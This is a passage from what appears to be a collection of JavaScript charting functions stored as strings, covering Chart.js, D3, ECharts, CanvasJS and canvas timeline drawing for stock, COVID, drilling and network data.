sentpoints,\n fill: false,\n borderColor: colors.red,\n pointRadius: 3},\n\n {label: 'Downstream Retransmitions',\n data: recvpoints,\n fill: false,\n borderColor: colors.blue,\n pointRadius: 3}\n ]\n }\n\n\n try{charts[\"main\"].destroy()}\n catch(err){/*Don't Worry be Happy*/}\n\n charts[\"main\"] = new Chart(\"mainChart\", {\n type: 'line',\n data: chartdata,\n options: options\n });\n\n }\n\n //2.4GHz Spectrum Usage Chart\n else if (chart_type[\"main\"] == 3){\n\n \tdatasets = []\n \tcol = colors.red\n\n \tfor (k = 0; k < data.APs.length; k++){\n \t\tif (data.APs[k][\"mac\"] == data.monitor_info[\"mac\"]){ col = colors.green} \n \t\t\telse{ col = colors.red}\n\n \t\t\tdatasets.push({\n \t\t\t\tlabel: data.APs[k][\"essid\"],\n \t\t\t\tdata: [{x:data.APs[k][\"channel\"], y: Number(100+(data.APs[k][\"pwr\"])),r:3}],\n \t\t\t\tfill: true,\n \t\t\t\tborderColor: col,\n \t\t\t\tpointRadius: 4\n \t\t\t})\n \t}\n\n chartdata = { datasets: datasets }\n\n\n try{charts[\"main\"].destroy()}\n catch(err){/*Don't Worry be Happy*/}\n\n charts[\"main\"] = new Chart(\"mainChart\", {\n type: 'bubble',\n data: chartdata,\n options: {\n \tscales:{\n \t\txAxes:[{\n \t\t\tticks:{\n \t\t\t\tmin: 1,\n \t\t\t\tmax: 13,\n \t\t\t\tstepSize: 1\n \t\t\t},\n \t\t\tscaleLabel:{\n \t\t\t\tdisplay:true,\n \t\t\t\tlabelString:\"Channels\"\n \t\t\t}\n \t\t}],\n \t\tyAxes:[{\n \t\t\tscaleLabel:{\n \t\t\t\tdisplay:true,\n \t\t\t\tlabelString:\"Power (-dBi)\"\n \t\t\t},\n \t\t\tticks:{\n \t\t\t\tmin: 0,\n \t\t\t\tmax: 100,\n \t\t\t\tstepSize: 10\n \t\t\t}\n \t\t}]\n \t}\n }\n });\n }\n\n}", "function plot_one_line(esb_type, esb_size) {\n var parent = document.getElementById('result_canvas');\n\n parent.appendChild(document.createElement('hr'));\n\n // Header\n var h_row = document.createElement('div');\n h_row.setAttribute('class', 'row');\n h_row.setAttribute('style', 'margin:0 auto; text-align: center');\n var header = document.createElement('h3');\n header.setAttribute('style', 'margin:0 auto');\n header.innerHTML = esb_type[0].toUpperCase() + esb_type.substr(1, esb_type.length-1) +\n ' ensembles <i>(k=' + esb_size + ')</i>';\n h_row.appendChild(header);\n parent.appendChild(h_row);\n\n // Row to contain all plots in one line\n var canvas = document.createElement('div');\n canvas.setAttribute('id', 'canvas1');\n canvas.setAttribute('class', 'row');\n parent.appendChild(canvas);\n\n // Error heatmap canvas\n var canvas_error_heatmap = document.createElement('div');\n canvas_error_heatmap.setAttribute('id', 'canvas_error_heatmap' + esb_type + esb_size);\n canvas_error_heatmap.setAttribute('class', 'col');\n canvas_error_heatmap.setAttribute('style', 'width:300px;height:400px;');\n canvas.appendChild(canvas_error_heatmap);\n\n // Time per epoch canvas\n var canvas_time_per_epoch = document.createElement('div');\n canvas_time_per_epoch.setAttribute('id', 'canvas_time_per_epoch' + esb_type + esb_size);\n canvas_time_per_epoch.setAttribute('class', 'col');\n canvas.appendChild(canvas_time_per_epoch);\n\n // Time to accuracy canvas\n //var canvas_time_to_acc = document.createElement('div');\n //canvas_time_to_acc.setAttribute('id', 'canvas_time_to_acc' + esb_type + esb_size);\n //canvas_time_to_acc.setAttribute('class', 'col');\n //canvas_time_to_acc.setAttribute('style', 'width:300px;height:400px;');\n //canvas.appendChild(canvas_time_to_acc);\n\n // Plot figures\n plot_error_heatmap_in_div(canvas_error_heatmap.id, esb_type, esb_size);\n plot_time_per_epoch_in_div(canvas_time_per_epoch.id, esb_type, esb_size);\n //plot_time_to_acc_in_div(canvas_time_to_acc.id, esb_type, esb_size);\n}", "function update_timeline(once) {\r\n if (once == undefined) once = false;\r\n determine_now();\r\n tl_update_data();\r\n \r\n // Get context\r\n var g = tl.getContext(\"2d\");\r\n g.clearRect(0,0,TIMELINE_SIZES_WIDTH,TIMELINE_SIZES_FULL_HEIGHT);\r\n g.save();\r\n \r\n // Draw bar\r\n g.translate(TIMELINE_SIZES_WIDTH - 9.5, TIMELINE_SIZES_HISTORY * TIMELINE_SIZES_HEIGHT + .5);\r\n \r\n g.strokeStyle = \"rgb(0,0,0)\";\r\n g.beginPath();\r\n g.moveTo(0,-TIMELINE_SIZES_HISTORY * TIMELINE_SIZES_HEIGHT);\r\n g.lineTo(0, TIMELINE_SIZES_FUTURE * TIMELINE_SIZES_HEIGHT);\r\n g.stroke();\r\n for (var i=-TIMELINE_SIZES_HISTORY - tl_scroll_offset; i<=TIMELINE_SIZES_FUTURE - tl_scroll_offset; i+=1) {\r\n g.beginPath();\r\n l = -2;\r\n ll = 0;\r\n if (i%5 == 0) l-=2;\r\n if (i%15 == 0) l-=2;\r\n if ((i + tl_t_time.getMinutes())%60 == 0) ll+=8;\r\n g.moveTo(l, tl_warp(i + tl_scroll_offset));\r\n g.lineTo(ll, tl_warp(i + tl_scroll_offset)); \r\n g.stroke();\r\n }\r\n\r\n // Draw times\r\n g.mozTextStyle = \"8pt Monospace\";\r\n function round15(i){ return Math.floor(i/15)*15;}\r\n function drawtime(i, t) {\r\n h = t.getHours()+\"\";\r\n m = t.getMinutes()+\"\";\r\n if (m.length==1) m = \"0\" + m;\r\n x = h+\":\"+m;\r\n\r\n g.save();\r\n g.translate(-g.mozMeasureText(x) - 10, 4 + tl_warp(i + tl_scroll_offset));\r\n g.mozDrawText(x); \r\n g.restore(); \r\n }\r\n for (var i=round15(-TIMELINE_SIZES_HISTORY - tl_scroll_offset);\r\n i <= round15(TIMELINE_SIZES_FUTURE - tl_scroll_offset); i+=15) {\r\n t = new Date(tl_t_time);\r\n t.setMinutes(t.getMinutes() + i);\r\n drawtime(i, t);\r\n }\r\n\r\n // Draw current time\r\n diff = (tl_c_time.getTime() - tl_t_time.getTime()) / 1000 / 60;\r\n if (diff+tl_scroll_offset >= -TIMELINE_SIZES_HISTORY && diff+tl_scroll_offset <= TIMELINE_SIZES_FUTURE){\r\n y = tl_warp(diff + tl_scroll_offset);\r\n\r\n g.strokeStyle = \"rgb(0,0,255)\";\r\n g.beginPath();\r\n g.moveTo(-8, y);\r\n g.lineTo( 4, y);\r\n g.lineTo( 6, y-2);\r\n g.lineTo( 8, y);\r\n g.lineTo( 6, y+2);\r\n g.lineTo( 4, y);\r\n g.stroke();\r\n\r\n g.fillStyle = \"rgb(0,0,255)\";\r\n drawtime(diff, tl_c_time);\r\n\r\n // Highlight the 'elapsed time since last refresh'\r\n diff2 = (script_start_time - tl_t_time.getTime()) / 1000 / 60;\r\n y2 = tl_warp(diff2 + tl_scroll_offset);\r\n g.fillStyle = \"rgba(0,128,255,0.1)\";\r\n g.fillRect(9-TIMELINE_SIZES_WIDTH, y,TIMELINE_SIZES_WIDTH+1, y2-y);\r\n }\r\n\r\n unit = new Array(17);\r\n for (i=1; i<12; i++) {\r\n unit[i] = new Image();\r\n if (i==11)\r\n unit[i].src = \"img/un/u/hero.gif\";\r\n else\r\n unit[i].src = \"img/un/u/\"+(RACE*10+i)+\".gif\";\r\n }\r\n\r\n for (i=13; i<17; i++) {\r\n unit[i] = new Image();\r\n unit[i].src = \"img/un/r/\"+(i-12)+\".gif\";\r\n }\r\n\r\n\r\n function left(q) {\r\n if (q.constructor == Array)\r\n return q[0]-q[1];\r\n else\r\n return q-0;\r\n }\r\n\r\n // Draw data\r\n for (e in events) {\r\n p = events[e];\r\n diff = (e - tl_t_time.getTime()) / 1000 / 60 + tl_scroll_offset;\r\n if (diff<-TIMELINE_SIZES_HISTORY || diff>TIMELINE_SIZES_FUTURE) continue;\r\n y = tl_warp(diff);\r\n y = Math.round(y);\r\n g.strokeStyle = TIMELINE_EVENT_COLORS[p[0]];\r\n g.beginPath();\r\n g.moveTo(-10, y);\r\n g.lineTo(-50, y); \r\n g.stroke();\r\n \r\n g.fillStyle = \"rgb(0,128,0)\";\r\n var cap = 60*left(p[1])+40*left(p[2])+110*left(p[5]) - ((p[13]-0)+(p[14]-0)+(p[15]-0)+(p[16]-0));\r\n cap = (cap<=0)?\"*\":\"\";\r\n g.save();\r\n g.translate(20 - TIMELINE_SIZES_WIDTH - g.mozMeasureText(cap), y+4);\r\n g.mozDrawText(cap + p[12]);\r\n g.restore();\r\n\r\n if (p[17]) {\r\n g.fillStyle = \"rgb(0,0,128)\";\r\n g.save();\r\n g.translate(20 - TIMELINE_SIZES_WIDTH, y-5);\r\n g.mozDrawText(p[17]);\r\n g.restore();\r\n }\r\n\r\n if (SHOW_TIMELINE_REPORT_INFO) {\r\n g.fillStyle = \"rgb(64,192,64)\";\r\n g.save();\r\n g.translate(-40, y+4+12); // Move this below the message.\r\n for (i = 16; i>0; i--) {\r\n if (i==12)\r\n g.fillStyle = \"rgb(0,0,255)\";\r\n else if (p[i]) {\r\n try {\r\n g.translate(-unit[i].width - 8, 0);\r\n g.drawImage(unit[i], -0.5, Math.round(-unit[i].height*0.7) -0.5);\r\n } catch (e) {\r\n // This might fail if the image is not yet or can't be loaded.\r\n // Ignoring this exception prevents the script from terminating to early.\r\n var fs = g.fillStyle;\r\n g.fillStyle = \"rgb(128,128,128)\";\r\n g.translate(-24,0);\r\n g.mozDrawText(\"??\");\r\n g.fillStyle = fs;\r\n }\r\n if (p[i].constructor == Array) {\r\n g.fillStyle = \"rgb(192,0,0)\";\r\n g.translate(-g.mozMeasureText(-p[i][1]) - 2, 0);\r\n g.mozDrawText(-p[i][1]);\r\n g.fillStyle = \"rgb(0,0,255)\";\r\n g.translate(-g.mozMeasureText(p[i][0]), 0);\r\n g.mozDrawText(p[i][0]);\r\n } else {\r\n g.translate(-g.mozMeasureText(p[i]) - 2, 0);\r\n g.mozDrawText(p[i]);\r\n }\r\n }\r\n }\r\n }\r\n g.restore();\r\n }\r\n g.restore();\r\n if (KEEP_TIMELINE_UPDATED && once != true) {\r\n setTimeout(update_timeline,TIMELINE_UPDATE_INTERVAL);\r\n }\r\n }", "async function makeLine(data) {\r\n const stockAPI = \"https://www.randyconnolly.com/funwebdev/3rd/api/stocks/history.php?symbol=\" + data.symbol;\r\n const getStock = await fetch(stockAPI)\r\n const stocks = await getStock.json();\r\n\r\n const boxk = document.querySelector(\"#boxk\");\r\n \r\n if (stocks.length <= 1) {\r\n console.log(\"Error: Line Chart Cannot be Created, Stock Data Does not Exist for this Company\")\r\n } else {\r\n var chartDom = document.getElementById('box k');\r\n var myChart = echarts.init(chartDom);\r\n var option;\r\n const dates = [];\r\n const close = [];\r\n const volume = [];\r\n for (i of stocks) {\r\n dates.push(i.date);\r\n close.push(i.close);\r\n volume.push(i.volume);\r\n }\r\n\r\n option = {\r\n title: {\r\n text: 'Line Graph',\r\n textStyle: {\r\n color: 'rgb(255, 255, 255)'\r\n }\r\n },\r\n tooltip: {\r\n trigger: 'axis'\r\n },\r\n legend: {\r\n data: ['Volume', 'Close'],\r\n textStyle: {\r\n color: 'rgb(255, 255, 255)'\r\n }\r\n },\r\n grid: {\r\n left: '3%',\r\n right: '4%',\r\n bottom: '3%',\r\n containLabel: true\r\n },\r\n toolbox: {\r\n feature: {\r\n saveAsImage: {}\r\n }\r\n },\r\n xAxis: {\r\n type: 'category',\r\n boundaryGap: false,\r\n data: dates,\r\n //change 2 white\r\n axisLabel: {\r\n color: 'rgb(255, 255, 255)'\r\n }\r\n },\r\n yAxis: [\r\n {\r\n type: 'value',\r\n name: 'Volume',\r\n min: 0,\r\n //max: 2000,\r\n interval: 10000000,\r\n axisLabel: {\r\n formatter: '{value}',\r\n color: 'rgb(255, 255, 255)'\r\n },\r\n nameTextStyle: {\r\n color: 'rgb(255, 255, 255)'\r\n }\r\n },\r\n {\r\n type: 'value',\r\n name: 'Close',\r\n min: 0,\r\n max: 1000,\r\n interval: 50,\r\n //Change text color to white\r\n nameTextStyle: {\r\n color: 'rgb(255, 255, 255)'\r\n },\r\n //Change text color to white\r\n axisLabel: {\r\n formatter: '{value} $',\r\n color: 'rgb(255, 255, 255)'\r\n }\r\n }\r\n ],\r\n series: [\r\n {\r\n name: 'Volume',\r\n type: 'line',\r\n stack: '总量',\r\n data: volume\r\n },\r\n {\r\n name: 'Close',\r\n type: 'line',\r\n stack: '总量',\r\n data: close\r\n }\r\n ]\r\n };\r\n option && myChart.setOption(option);\r\n }\r\n\r\n }", "addTicksAndLabels() {\n const that = this.context,\n trackLength = that._measurements.trackLength,\n normalLayout = that._normalLayout,\n ticksFrequency = that._majorTicksInterval,\n tickscount = Math.round(that._range / parseFloat((ticksFrequency.toString()))),\n ticksDistance = trackLength / tickscount,\n min = parseFloat(that._drawMin),\n max = parseFloat(that._drawMax);\n\n let first, second, distanceModifier, last, firstLabelValue, firstLabelSize, lastLabelValue, lastLabelSize, currentTickAndLabel, ticks = '', labels = '';\n\n that._tickValues = [];\n this._longestLabelSize = 0;\n\n if (normalLayout) {\n first = min;\n\n //handling specific case\n if (that.logarithmicScale && min < 0 && min !== -1) {\n second = parseFloat(first - this.getPreciseModulo(first, ticksFrequency));\n }\n else {\n second = parseFloat(first - this.getPreciseModulo(first, ticksFrequency) + parseFloat(ticksFrequency));\n }\n\n distanceModifier = second - first;\n firstLabelValue = that._formatLabel(min);\n firstLabelSize = that._tickIntervalHandler.labelsSize.minLabelSize;\n last = max;\n lastLabelValue = that._formatLabel(max);\n lastLabelSize = that._tickIntervalHandler.labelsSize.maxLabelSize;\n }\n else {\n first = max;\n second = parseFloat(first - this.getPreciseModulo(first, ticksFrequency));\n distanceModifier = first - second;\n firstLabelValue = that._formatLabel(max);\n firstLabelSize = that._tickIntervalHandler.labelsSize.maxLabelSize;\n last = min;\n lastLabelValue = that._formatLabel(min);\n lastLabelSize = that._tickIntervalHandler.labelsSize.minLabelSize;\n }\n\n that._labelDummy = this._createMeasureLabel();\n\n currentTickAndLabel = this._addMajorTickAndLabel(firstLabelValue, firstLabelSize, true, first); // first tick and label\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n\n // special case for second tick and label\n const distanceFromFirstToSecond = distanceModifier / ticksFrequency * ticksDistance;\n\n if (second.toString() !== that._drawMax.toString() && distanceFromFirstToSecond < trackLength) {\n // second item rendering\n const secondItemHtmlValue = that._formatLabel(second.toString()),\n plotSecond = firstLabelSize < distanceFromFirstToSecond;\n\n currentTickAndLabel = this._addMajorTickAndLabel(secondItemHtmlValue, undefined, plotSecond, second, true);\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n }\n\n currentTickAndLabel = this.addMiddleMajorTicks(tickscount, ticksDistance, distanceFromFirstToSecond, distanceModifier, normalLayout, ticksFrequency);\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n currentTickAndLabel = this._addMajorTickAndLabel(lastLabelValue, lastLabelSize, true, last); // last tick and label\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n ticks += this.addMinorTicks(normalLayout);\n\n that._measureLabelScale.removeChild(that._labelDummy);\n delete that._labelDummy;\n delete that._measureLabelScale;\n\n if (that.nodeName.toLowerCase() === 'jqx-tank') {\n that._updateScaleWidth(this._longestLabelSize);\n }\n\n that._appendTicksAndLabelsToScales(ticks, labels);\n }", "function setCountryData(countryIndex) {\n// instead of setting whole data array, we modify current raw data so that a nice animation would happen\nfor (var i = 0; i < lineChart.data.length; i++) {\nvar di = covid_cc_timeline[i].list;\n\nvar countryData = di[countryIndex];\nvar dataContext = lineChart.data[i];\nif (countryData) {\ndataContext.confirmed = countryData.confirmed;\ndataContext.deaths = countryData.deaths;\n\ndataContext.recovered = countryData.recovered;\ndataContext.active = countryData.confirmed - countryData.recovered - countryData.deaths;\nvalueAxis.min = undefined;\nvalueAxis.max = undefined;\n}\nelse {\ndataContext.confirmed = 0;\ndataContext.deaths = 0;\n\ndataContext.deaths = 0;\ndataContext.active = 0;\nvalueAxis.min = 0;\nvalueAxis.max = 10;\n}\n}\n\nlineChart.invalidateRawData();\nupdateTotals(currentIndex);\nsetTimeout(updateSeriesTooltip, 1000);\n}", "drawTimeAreaContent(changedType) {\n const ctx = this.context;\n const timeType = this.options.timeTypeName;\n // init coordinate by time type\n if (!changedType) {\n timeType.forEach((type) => {\n this.coordinate.timeArea[type].data = [];\n const timeAreaType = this.coordinate.timeArea[type].total;\n const oneBoxWidth = timeAreaType.width / this.options.timeArea.columnCount;\n const oneBoxHeight = timeAreaType.height / this.options.timeArea.rowCount;\n const maxNumber = type === 'hour' ? 24 : 60; // minute, second = 60\n let timeAreaObj = {};\n for (let ix = 0, ixLen = maxNumber; ix < ixLen; ix++) {\n const columnIdx = ix % this.options.timeArea.columnCount;\n const page = parseInt(ix /\n (this.options.timeArea.columnCount * this.options.timeArea.rowCount), 0) + 1;\n let rowIdx = 1;\n if (ix % (this.options.timeArea.columnCount * this.options.timeArea.rowCount)\n < this.options.timeArea.columnCount) {\n rowIdx = 0;\n }\n timeAreaObj = {\n startX: timeAreaType.startX + (columnIdx * oneBoxWidth),\n width: oneBoxWidth,\n startY: timeAreaType.startY + (rowIdx * oneBoxHeight),\n height: oneBoxHeight,\n page,\n styleObj: {\n fillText: {\n show: true,\n text: `${ix}`,\n },\n fill: {\n show: true,\n color: this.options.colors.thisMonthFill,\n },\n align: 'center',\n padding: {\n bottom: 13,\n },\n },\n };\n this.coordinate.timeArea[type].data.push(timeAreaObj);\n }\n });\n\n // DRAW box\n timeType.forEach((type) => {\n this.coordinate.timeArea[type].data.forEach((v) => {\n if (v.page === this.coordinate.timeArea[type].page) {\n this.dynamicDraw(ctx, v.startX, v.startY, v.width, v.height, v.styleObj);\n }\n });\n });\n } else {\n // DRAW box\n timeType.forEach((type) => {\n if (changedType === type) {\n this.coordinate.timeArea[type].data.forEach((v) => {\n if (v.page === this.coordinate.timeArea[type].page) {\n this.dynamicDraw(ctx, v.startX, v.startY, v.width, v.height, v.styleObj);\n }\n });\n }\n });\n }\n }", "async function drawChart() {\n let dataset = await d3.csv('../data/drilling.csv', function(d) {\n return {\n month: d.month,\n permian: +d.permian,\n bakken: +d.bakken,\n haynesville: +d.haynesville,\n eagleford: +d.eagleford,\n marcellus: +d.marcellus,\n niobara: +d.niobara\n }\n })\n\n //abbreviated month and abbreviated year are encoded %b and %y respectively in the timeParse function\n const dateParser = d3.timeParse(\"%b-%y\")\n const xAccessor = d => dateParser(d.month);\n\n const series1Accessor = d => d.permian;\n const series2Accessor = d => d.bakken;\n const series3Accessor = d => d.haynesville;\n const series4Accessor = d => d.niobara;\n const series5Accessor = d => d.marcellus;\n const series6Accessor = d => d.eagleford;\n\n var dimensions = {\n width: window.innerWidth * 0.7,\n height: window.innerWidth * 0.5,\n margins: {\n top: 30,\n bottom: 30, \n left: 60, \n right: 30\n }\n }\n\n dimensions.boundedWidth = dimensions.width - dimensions.margins.right - dimensions.margins.left;\n dimensions.boundedHeight = dimensions.height - dimensions.margins.top - dimensions.margins.bottom;\n \n const viz = d3.select('#viz').append('svg')\n .attr('width', dimensions.width)\n .attr('height', dimensions.height)\n \n const bounds = viz.append('g')\n .style('transform', `translate(${dimensions.margins.left}px, ${dimensions.margins.top}px)`);\n \n const xScale = d3.scaleTime()\n .domain(d3.extent(dataset, xAccessor))\n .range([dimensions.margins.left, dimensions.boundedWidth]);\n \n // y scale is where we run into problems, created a function that loops (inefficiently) through all series values and returns an array\n let yDomain = findYScale(dataset);\n \n const yScale = d3.scaleLinear()\n .domain(yDomain)\n .range([dimensions.boundedHeight, dimensions.margins.bottom]);\n \n const series1Generator = d3.line()\n .x(d => xScale(xAccessor(d)))\n .y(d => yScale(series1Accessor(d)))\n .curve(d3.curveCardinal.tension(0.01));\n\n const series2Generator = d3.line()\n .x(d => xScale(xAccessor(d)))\n .y(d => yScale(series2Accessor(d)))\n .curve(d3.curveCardinal.tension(0.01));\n\n const series3Generator = d3.line()\n .x(d => xScale(xAccessor(d)))\n .y(d => yScale(series3Accessor(d)))\n .curve(d3.curveCardinal.tension(0.01));\n \n const series4Generator = d3.line()\n .x(d => xScale(xAccessor(d)))\n .y(d => yScale(series4Accessor(d)))\n .curve(d3.curveCardinal.tension(0.01));\n \n const series5Generator = d3.line()\n .x(d => xScale(xAccessor(d)))\n .y(d => yScale(series5Accessor(d)))\n .curve(d3.curveCardinal.tension(0.01));\n \n const series6Generator = d3.line()\n .x(d => xScale(xAccessor(d)))\n .y(d => yScale(series6Accessor(d)))\n .curve(d3.curveCardinal.tension(0.01));\n \n const series1 = bounds.append('path')\n .attr('d', series1Generator(dataset))\n .attr('fill', 'none')\n .attr('stroke', 'teal')\n .attr('class', 'path')\n .attr('id', 'permian')\n .attr('stroke-width', 5);\n\n const series2 = bounds.append('path')\n .attr('d', series2Generator(dataset))\n .attr('fill', 'none')\n .attr('stroke', 'lightcoral')\n .attr('class', 'path')\n .attr('stroke-width', 5)\n \n const series3 = bounds.append('path')\n .attr('d', series3Generator(dataset))\n .attr('fill', 'none')\n .attr('stroke', 'cornflowerblue')\n .attr('stroke-width', 5)\n \n const series4 = bounds.append('path')\n .attr('d', series4Generator(dataset))\n .attr('fill', 'none')\n .attr('class', 'path')\n .attr('stroke', 'indigo')\n .attr('stroke-width', 5)\n\n const series5 = bounds.append('path')\n .attr('d', series5Generator(dataset))\n .attr('fill', 'none')\n .attr('class', 'path')\n .attr('stroke', 'crimson')\n .attr('stroke-width', 5)\n\n const series6 = bounds.append('path')\n .attr('d', series6Generator(dataset))\n .attr('fill', 'none')\n .attr('class', 'path')\n .attr('stroke', 'darkorange')\n .attr('stroke-width', 5)\n\n const yAxisGenerator = d3.axisLeft()\n .scale(yScale);\n \n const yAxis = bounds.append('g')\n .call(yAxisGenerator)\n .style('transform', `translateX(${dimensions.margins.left}px)`);\n\n const xAxisGenerator = d3.axisBottom()\n .scale(xScale);\n \n const xAxis = bounds.append('g')\n .call(xAxisGenerator)\n .style('transform', `translateY(${dimensions.boundedHeight}px)`);\n \n}", "function graph(speedData) {\n \n var canvas = document.getElementById(\"graph-canvas\").getContext('2d');\n Chart.defaults.global.defaultFontFamily = \"Maple\";\n var labelsIn = new Array(speedData.length);\n var dataIn = new Array(speedData.length);\n \n for(i = 0; i < speedData.length; i++) {\n labelsIn[i] = (speedData[i].time);\n dataIn[i] = (parseFloat(speedData[i].amount));\n }\n \n var myChart = new Chart(canvas, {\n type: 'line',\n data: {\n labels: labelsIn,\n datasets: [{\n label: 'Speed During Trip',\n data: dataIn,\n backgroundColor: 'rgba(255, 255, 255, 0.35)',\n borderColor: '#000',\n pointBackgroundColor: '#000',\n pointRadius: 4,\n borderWidth: 3,\n cubicInterpolationMode: 'default',\n }]\n },\n options: {\n maintainAspectRatio: false,\n layout: {\n padding: {\n right: 8\n }\n },\n legend: {\n display: false\n },\n scales: {\n xAxes: [{\n display: false, //minimalism\n gridLines: {\n display: false\n },\n scaleLabel: {\n display: true,\n fontColor: '#000',\n labelString: 'Time'\n }\n }],\n yAxes: [{\n ticks: {\n beginAtZero: true,\n fontColor: \"#000\"\n },\n gridLines: {\n display: false\n },\n scaleLabel: {\n display: true,\n labelString: 'Speed (km/h)',\n fontColor: '#000'\n }\n }],\n }\n }\n });\n \n}", "function dayChart(result){\n var intv = 1;\n chart = new CanvasJS.Chart(\"chartContainer\", {\n animationEnabled: true,\n exportEnabled: true,\n zoomEnabled: true,\n title: {\n text: \"Stock Price\"\n },\n axisX: {\n labelFormatter: function(e){\n return e.label;\n },\n crosshair: {\n enabled: true,\n snapToDataPoint: true\n },\n labelMaxWidth: 80,\n labelWrap: true,\n labelFontSize: 14\n },\n toolTip:{\n enabled: true,\n shared:true,\n content: \"{z}: {y} <br/> Distance: {dist} %\"\n },\n axisY: {\n title: \"Price\",\n includeZero: false,\n prefix: \"Rs.\",\n gridColor: \"#ddd\",\n labelFontSize: 14,\n },\n data: data\n });\n\n \n //console.log(result.length);\n var last_value = 0;\n for(var i = 0; i < result.length; i++){\n var dataSeriesLINE;\n if(i%2==0){\n dataSeriesLINE = { type: \"line\",\n name: \"\",\n color: \"#c91f37\",\n yValueFormatString: \"Rs #####.00\",\n xValueFormatString: \"DD MMM\",\n indexLabelFontSize: 0,\n indexLabelBackgroundColor: \"#f1f2f6\",\n toolTipContent: \"\"\n };\n }else{\n dataSeriesLINE = { type: \"line\",\n name: \"\",\n color: \"#000\",\n yValueFormatString: \"Rs #####.00\",\n xValueFormatString: \"DD MMM\",\n indexLabelFontSize: 0,\n lineThickness: 4.5,\n indexLabelBackgroundColor: \"#f1f2f6\",\n toolTipContent: \"\"\n };\n }\n\n var dt = new Date(result[i].timeStamp);\n var dateString = dt.toLocaleString();\n var dataPointsLINE = [];\n \n if(result[i].GV >= 1){\n var dataPoints = {\n x: intv,\n label: dateString,\n y: result[i].a_value,\n z: result[i].a_type,\n v1: result[i].EnF1,\n v2: result[i].EnF2,\n v3: result[i].EnF3,\n v4: result[i].EnF4,\n v5: result[i].EnF5,\n v6: result[i].EnF6,\n v7: result[i].EnF7,\n p3: result[i].p3,\n p5: result[i].p5,\n p15: result[i].p15,\n p20: result[i].p20,\n indexLabel: result[i].a_type + \" : \" + result[i].a_value,\n comment: (result[i].comment != null) ? result[i].comment : \"No comments\",\n //toolTipContent: \"{z}: {y} <br/> Distance: {dist} %\",\n click: onClick\n };\n if(i!=0){\n dataPoints.dist = (((result[i].a_value - last_value)/last_value)*100).toFixed(3);\n }else{\n dataPoints.dist = 0;\n }\n dataPointsLINE.push(dataPoints);\n last_value = result[i].a_value; \n }\n\n if(result[i].GV >= 2){\n intv++;\n dataPointsLINE.push({\n x: intv,\n label: \" \",\n y: result[i].b_value,\n z: result[i].b_type,\n v1: result[i].EnF1,\n v2: result[i].EnF2,\n v3: result[i].EnF3,\n v4: result[i].EnF4,\n v5: result[i].EnF5,\n v6: result[i].EnF6,\n v7: result[i].EnF7,\n p3: result[i].p3,\n p5: result[i].p5,\n p15: result[i].p15,\n p20: result[i].p20,\n dist: (((result[i].b_value - result[i].a_value)/result[i].a_value)*100).toFixed(3),\n indexLabel: result[i].b_type + \" : \" + result[i].b_value,\n comment: (result[i].comment != null) ? result[i].comment : \"No comments\",\n //toolTipContent: \"{z}: {y} <br/> Distance: {dist} %\",\n click: onClick\n }); \n last_value = result[i].b_value; \n }\n\n if(result[i].GV >= 3){\n intv++;\n dataPointsLINE.push({\n x: intv,\n label: \" \",\n y: result[i].c_value,\n z: result[i].c_type,\n v1: result[i].EnF1,\n v2: result[i].EnF2,\n v3: result[i].EnF3,\n v4: result[i].EnF4,\n v5: result[i].EnF5,\n v6: result[i].EnF6,\n v7: result[i].EnF7,\n p3: result[i].p3,\n p5: result[i].p5,\n p15: result[i].p15,\n p20: result[i].p20,\n dist: (((result[i].c_value - result[i].b_value)/result[i].b_value)*100).toFixed(3),\n indexLabel: result[i].c_type + \" : \" + result[i].c_value,\n comment: (result[i].comment != null) ? result[i].comment : \"No comments\",\n //toolTipContent: \"{z}: {y} <br/> Distance: {dist} %\",\n click: onClick\n }); \n last_value = result[i].c_value; \n }\n\n if(result[i].GV >= 4){\n intv++;\n dataPointsLINE.push({\n x: intv,\n label: \" \",\n y: result[i].d_value,\n z: result[i].d_type,\n v1: result[i].EnF1,\n v2: result[i].EnF2,\n v3: result[i].EnF3,\n v4: result[i].EnF4,\n v5: result[i].EnF5,\n v6: result[i].EnF6,\n v7: result[i].EnF7,\n p3: result[i].p3,\n p5: result[i].p5,\n p15: result[i].p15,\n p20: result[i].p20,\n dist: (((result[i].d_value - result[i].c_value)/result[i].c_value)*100).toFixed(3),\n indexLabel: result[i].d_type + \" : \" + result[i].d_value,\n comment: (result[i].comment != null) ? result[i].comment : \"No comments\",\n //toolTipContent: \"{z}: {y} <br/> Distance: {dist} %\",\n click: onClick\n }); \n last_value = result[i].d_value; \n }\n\n dataSeriesLINE.dataPoints = dataPointsLINE;\n data.push(dataSeriesLINE); \n \n if(i<result.length-1){\n var dataSeriesDOT = {\n type: \"line\",\n lineDashType: \"dot\",\n color: \"#e57373\",\n };\n \n var dataPointsDOT = [];\n dataPointsDOT.push({\n x: intv,\n y: last_value,\n z: \"\",\n toolTipContent: \" \",\n click: onClick\n });\n\n intv++;\n dt = new Date(result[i+1].timeStamp);\n dateString = dt.toLocaleString();\n dataPointsDOT.push({\n x: intv,\n y: result[i+1].a_value,\n z: \"\",\n toolTipContent: \" \",\n click: onClick\n });\n \n dataSeriesDOT.dataPoints = dataPointsDOT;\n data.push(dataSeriesDOT);\n }\n console.log(data);\n }\n chart.render();\n}", "async function Frame5() {\n \n //Show & run progress bar\n runProgressBar(time=700*6);\n \n/////////////////////////////////////////////////////////\n////Remove existing chart elements\n \n //d3.selectAll(\"line\").remove()\n d3.selectAll(\".data-line\").remove()\n d3.selectAll(\".dot\").remove()\n d3.selectAll(\".bg\").remove()\n d3.selectAll(\".amount-label\").remove()\n d3.selectAll(\".ratio-label\").remove()\n d3.selectAll(\".source-label\").remove()\n d3.selectAll(\".small-label\").remove()\n d3.selectAll(\"#y-axis\").remove()\n \n/////////////////////////////////////////////////////////\n////Set animation transition duration\n const fade = 500\n \n/////////////////////////////////////////////////////////\n////Bring in data\n \n const dataset = await d3.csv(\"./data/ceo-worker-hours.csv\")\n \n //Data accessors\n const ceoToWorkerRatio = d => d.ceoToWorkerRealized\n const workweekHours = d => d.workweekHoursRealized\n \n/////////////////////////////////////////////////////////\n////Set scales and axes\n\n yScale.domain([0, 40])\n \n //X-axis\n xScale.domain([0, 370])\n\n xAxisGenerator.tickValues([0, 100, 200, 300, 400])\n \n xAxis.call(xAxisGenerator)\n// .style(\"transform\", `translateY(${\n// 540 \n// }px)`)\n .style(\"transform\", 